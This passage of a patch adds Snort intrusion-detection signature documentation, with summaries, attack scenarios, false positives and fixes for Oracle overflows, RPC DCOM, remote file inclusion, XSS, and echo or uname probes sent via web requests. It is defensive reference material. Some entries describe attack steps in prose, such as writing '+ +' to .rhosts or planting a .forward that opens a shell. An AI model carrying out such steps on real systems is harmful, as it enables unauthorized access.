+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/895.txt
+++ snort-2.8.5.2/doc/signatures/895.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+895
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1334.txt
+++ snort-2.8.5.2/doc/signatures/1334.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+1334
+
+--
+Summary:
+Attempted echo command access via web
+
+--
+Impact:
+Attempt to gain system environment information or an attempt to post
+information on the host using the echo command.
+
+--
+Detailed Information:
+This rule generates an event when a UNIX "echo" command is used over a
+plain-text (unencrypted) connection on one of the specified web ports to
+the target web server. The "echo" command may be used to modify the
+content of arbitrary files by means of shell output redirection.
+
+The rule looks for the "echo" command in the client to web server
+network traffic and does not indicate whether the command was actually
+successful. The presence of the "echo" command web traffic indicates
+that an attacker attempted to trick the web server into executing system
+commands in non-interactive mode i.e. without a valid shell session. 
+
+Alternatively this rule may generate an event in an unencrypted HTTP
+tunneling connection to the server or a shell connection via another
+exploit against the web server.
+
+This may also be an attempt to gain intelligence about the environment
+variables on a webserver. echo is a built-in shell command that will
+return information about the system's environment variables. This
+information is valuable to an attacker who can use it to plan further
+attacks based on the information returned.
+
+--
+Attack Scenarios:
+1. The attacker can make a standard HTTP request that contains
+'/bin/echo' in the URI which can then return sensitive information on
+system environment variables present on the host.  This command may also
+be requested on a command line should the attacker gain access to the machine.
+
+2. An attacker uses a "echo" command via a web server connection to add
+"+ +" to a corresponding ".rhosts" file which controls access
+permissions to the system via r-commands
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+man echo
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1409.txt
+++ snort-2.8.5.2/doc/signatures/1409.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1409
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string 
+buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 
+of a vulnerable device, causing a Denial of Service or possible execution of 
+arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1100.txt
+++ snort-2.8.5.2/doc/signatures/1100.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1100
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2713.txt
+++ snort-2.8.5.2/doc/signatures/2713.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2713
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure end_load
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2638.txt
+++ snort-2.8.5.2/doc/signatures/2638.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2638
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck630.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/587.txt
+++ snort-2.8.5.2/doc/signatures/587.txt
@@ -0,0 +1,60 @@
+Rule:
+
+Sid:
+587
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) statd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port statd is using.  Attackers can also learn what versions of the statd protocol are accepted by statd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as statd run.  The statd RPC service manages Network File System (NFS) locks for exclusive access to a remote file. Multiple vulnerabilities that have allowed execution of arbitrary commands as root have been associated with statd.
+
+--
+Affected Systems:
+Multiple; refer to your vendor for specific information.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where statd runs.  This may be a precursor to accessing statd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access statd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for statd, not probes of the statd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the statd service itself. An attacker may attempt to go directly to the statd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS15
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/414.txt
+++ snort-2.8.5.2/doc/signatures/414.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+414
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP IPV6 Where-Are-You datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Type 33 datagrams are not expected network traffic.  Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Detailed Information:
+ICMP Type 33 is an undocumented extension to RFC 1812 and RFC 792.  Its current use it not defined by an approved RFC.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/334.txt
+++ snort-2.8.5.2/doc/signatures/334.txt
@@ -0,0 +1,64 @@
+Rule:   
+
+--
+Sid: 334
+
+-- 
+Summary: 
+This event is generated when an attempt to copy a specific file to an FTP server is made.
+
+-- 
+
+Impact: 
+Serious. The attacker might gain the ability to execute commands remotely with the privileges of the affected user.
+
+--
+Detailed Information:
+This event is generated when an attempt to copy a ".forward" file to a victim host is made. A ".forward"file is used to configure email forwarding on UNIX systems. Usually it contains the email addresses where incoming email is forwarded. However, ".forward" file can also be used to forward email to programs (for example, "|IFS=' ' && exec /usr/bin/procmail -f- || exit 75 anton") and thus cause program execution triggered by arriving email messages. 
+
+This functionality can be used to activate a backdoor or start a daemon that listens for connections on a high port, launch a terminal session on the attacker's machine or initiate a reverse shell session. 
+
+This attack requires an established FTP session.
+
+--
+
+Attack Scenarios: 
+The attacker uploads a ".forward" file with commands to launch an "xterm" window on his machine into the user's home directory. Then he sends an email to the user whose ".forward" file was modified. That triggers the command in ".forward" and causes the xterm windows to be opened, providing shell access to a system with the privileges assigned to that user.
+
+-- 
+
+Ease of Attack: 
+The attack requires an access to a users home directory via FTP. This means that anonymous FTP access cannot be used for such an attack and a valid username and password is required. Additionally, the ability to upload files via FTP is required for a successful attack.
+
+-- 
+
+False Positives: 
+If the string ".forward"  is contained within the filename that is being uploaded to a server or within other FTP client responses, the rule will generate an event.
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Locate the uploaded ".forward" file and check it for signs of suspicious entries. 
+
+Check the server logs for other suspicious events that might have occurred within the same FTP session
+
+Disallow uploading of files via FTP and use Secure Shell (SSH) for transferring files by users.
+
+--
+Contributors: 
+Original rule writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS319
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000665.txt
+++ snort-2.8.5.2/doc/signatures/100000665.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000665
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "text" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2587.txt
+++ snort-2.8.5.2/doc/signatures/2587.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2587
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. 
+This may be against corporate policy. p2p clients connect to other p2p 
+clients to share files, commonly music and video files but can be configured 
+to share any file on the local machine. In particular this event is
+generated when the p2p client eDonkey is used.
+
+This activity may not only use bandwidth but may also be used to transfer 
+company confidential information to unauthorized hosts external to the 
+protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using an eDonkey p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3393.txt
+++ snort-2.8.5.2/doc/signatures/3393.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3393
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000413.txt
+++ snort-2.8.5.2/doc/signatures/100000413.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000413
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "index.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "index.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/563.txt
+++ snort-2.8.5.2/doc/signatures/563.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+563
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000778.txt
+++ snort-2.8.5.2/doc/signatures/100000778.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000778
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "PHPMailList" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "email" parameter in the "maillist.php" script used by the "PHPMailList" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMailList
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1933.txt
+++ snort-2.8.5.2/doc/signatures/1933.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1933
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000432.txt
+++ snort-2.8.5.2/doc/signatures/100000432.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000432
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "file.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "file.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1331.txt
+++ snort-2.8.5.2/doc/signatures/1331.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1331
+
+--
+Summary:
+Attempted uname command access via web
+
+--
+Impact:
+Attempt to gain information on the host operating system using the uname
+command.
+
+--
+Detailed Information:
+This is an attempt to gain intelligence about the operating system being
+used on a webserver. uname is a UNIX command that will return
+information about the operating system, the machine's architecture, the
+processor architecture and the version level of the software being used.
+This information is valuable to an attacker who can use it to plan
+further attacks based on possible vulnerabilities in the machine's
+operating system.
+
+Using "uname -a", the attackers might be able to gain accurate
+intelligence on the web server platform. The rule looks for the "uname"
+command in the URL part of the client to web server connection and does
+not indicate whether the command was actually successful in showing the
+system information. The presence of the "uname" command in the URL
+indicates that an attacker attempted to trick the web server into
+executing system commands in non-interactive mode i.e. without a valid
+shell session. Another case when this rule might trigger is unencrypted
+HTTP tunneling connection to the server.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'uname' in
+the URI which can then return the machine's operating system environment
+architecture.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. This command may also be
+requested on a command line should the attacker gain access to the machine. 
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+man uname
+
+--
--- snort-2.8.5.2.orig/doc/signatures/297.txt
+++ snort-2.8.5.2/doc/signatures/297.txt
@@ -0,0 +1,59 @@
+SID:
+297
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd 
+server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead 
+to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55, University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+Simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this problem
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2944.txt
+++ snort-2.8.5.2/doc/signatures/2944.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2944
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
